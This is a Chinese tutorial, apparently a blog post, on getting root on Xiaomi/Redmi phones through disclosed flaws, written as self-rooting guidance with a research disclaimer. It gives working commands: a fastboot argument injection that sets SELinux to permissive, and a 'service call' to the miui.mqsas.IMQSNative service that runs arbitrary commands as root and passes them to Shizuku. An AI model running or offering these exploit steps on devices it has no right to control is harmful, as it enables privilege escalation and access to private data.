🚨免责声明 | Disclaimer🚨
- 本文仅对已公开披露的历史漏洞进行整理说明,目的在于安全研究与教育。依据本文操作所产生的一切后果(含数据丢失、设备损坏等)须由读者自行承担,作者不提供任何明示或暗示的保证。
- This article documents previously disclosed vulnerabilities solely for security research and educational purposes. You assume full responsibility for any outcomes (including data loss or device damage) that arise from attempting the described root procedure; the author offers no warranty of any kind.
NOTE对于使用 KernelSU,请参考此文章。
For using KernelSU, please refer to this article.
今天各种群聊传来了小米 17 可以通过漏洞直接解锁 Bootloader,而不需要通过小米高考等方式的消息。该方式利用了以下漏洞:
- 骁龙 8Elite Gen5 平台对
efisp分区缺乏校验 - 高通平台 fastboot 存在参数注入,可以使 SELinux 临时变为宽容模式
- 小米系统内置服务可以被利用,从而使用
root权限执行任意命令
为了解锁 bl,这 3 个漏洞均需要有效,虽然除 8Elite Gen5 以外的平台没办法解锁 bl,但可以尝试利用另外 2 个漏洞获取 root 权限,并通过 Shizuku 提供给其它应用,而不需要解锁 bl。
WARNING这种提权方式获得的 root 有局限性,不能直接写入
/system等分区。仅供研究测试用,谨慎尝试。
笔者的环境
- 设备: Redmi K70
- HyperOS 版本: 3.0.9.0.WNKCNXM
- Android 安全更新: 2026-02-01
WARNING不保证所有机型,所有系统版本均适用此方法。
设置 SELinux 宽容模式
将手机连接至电脑,重启至 fastboot:
adb shell reboot bootloader使用以下命令将 SELinux 设为宽容模式并启动系统:
fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissivefastboot continueCAUTION设为宽容模式可能带来不可预测的后果,请谨慎操作。此操作不会清除手机内所有数据。
NOTE重启设备后,SELinux 会重新变回严格模式。

以 root 权限执行命令
通过 ADB Shell 权限执行以下命令:
service call miui.mqsas.IMQSNative 21 i32 1 s16 "命令" i32 1 s16 "参数" s16 '结果输出文件路径' i32 600命令的执行结果可在输出的文件里查看,例如执行 whoami:
service call miui.mqsas.IMQSNative 21 i32 1 s16 "whoami" i32 1 s16 "" s16 '/sdcard/log.txt' i32 600
可以看见是货真价实的 root 权限,并且由于已将 SELinux 设为宽容模式,该权限可以读写 /data 目录下的几乎所有文件。
IMPORTANT即便不将 SELinux 设为宽容模式,也可使用该命令提取 root 权限,但该权限的能力会大打折扣,几乎没法读写
/data目录下的文件,但可以使用此权限读取/system/build.prop等文件。
将 root 权限授予 Shizuku
在 13.6.0 版本的 Shizuku 里,运行 Shizuku 的命令为(实际路径可能有不同):
adb shell /data/app/~~eTcgekFm0aefNy2Vm_Iq9A==/moe.shizuku.privileged.api-Evrmedj2P4USUISnIM9I5A==/lib/arm64/libshizuku.so若直接通过上面的 root 提权命令直接执行,通常会直接崩溃,原因是缺少 2 个环境变量: DEX2OATBOOTCLASSPATH 和 BOOTCLASSPATH。需要编写一个简单的脚本提供这两个环境变量。
在 Termux 或 ADB Shell 执行 env 命令,得到这两个环境变量,将其值复制,然后编写脚本:
export DEX2OATBOOTCLASSPATH="xxxxxxxxxx"export BOOTCLASSPATH="xxxxxxxxxxx"
/data/app/~~eTcgekFm0aefNy2Vm_Iq9A==/moe.shizuku.privileged.api-Evrmedj2P4USUISnIM9I5A==/lib/arm64/libshizuku.so存放到任意位置(如 /sdcard/start.sh),然后以 root 权限运行:
service call miui.mqsas.IMQSNative 21 i32 1 s16 "sh" i32 1 s16 "/sdcard/start.sh" s16 '/sdcard/log.txt' i32 600

部分信息可能已经过时